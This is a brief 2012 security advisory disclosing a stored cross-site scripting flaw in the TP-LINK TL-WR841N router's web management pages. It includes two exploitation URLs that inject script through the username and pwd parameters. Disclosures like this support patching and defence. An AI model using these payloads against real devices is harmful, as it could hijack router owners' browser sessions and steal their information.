=| Security Advisory - TP-LINK TL-WR841N XSS (Cross Site Scripting) |= Issue: TL-WR841N 300Mbps Wireless N Router by "TP-LINK" Firmware Version: 3.13.9 Build 120201 Rel.54965n and Below Discovered Date: 17/11/2012 Author: Matan Azugi [matan@madsec.co.il] Product Vendor: http://www.tp-link.com/en/products/details/?model=TL-WR841N Details: TP-LINK TL-WR841N Wireless Router is prone to Cross Site Scripting Vulnerability. The vulnerability exists in Web-Based Management. Remote authenticated administrators may inject arbitrary JavaScript or HTML via the username parameter or via pwd parameter to exploit Stored Cross Site Scripting condition. Exploitation URL: 1. http://192.168.0.1/userRpm/NoipDdnsRpm.htm?provider=3&username=a1234</script ><script>alert(1)</script>12aaa34f5be&pwd=password&cliUrl=&Save=Save 2. http://192.168.0.1/userRpm/NoipDdnsRpm.htm?provider=3&username=1234&pwd=a123 4</script><script>alert(1)</script>12aaa34f5be&cliUrl=&Save=Save Successful exploitation allows the attacker to steal user information and may allow the attacker to take full control over the user Browser.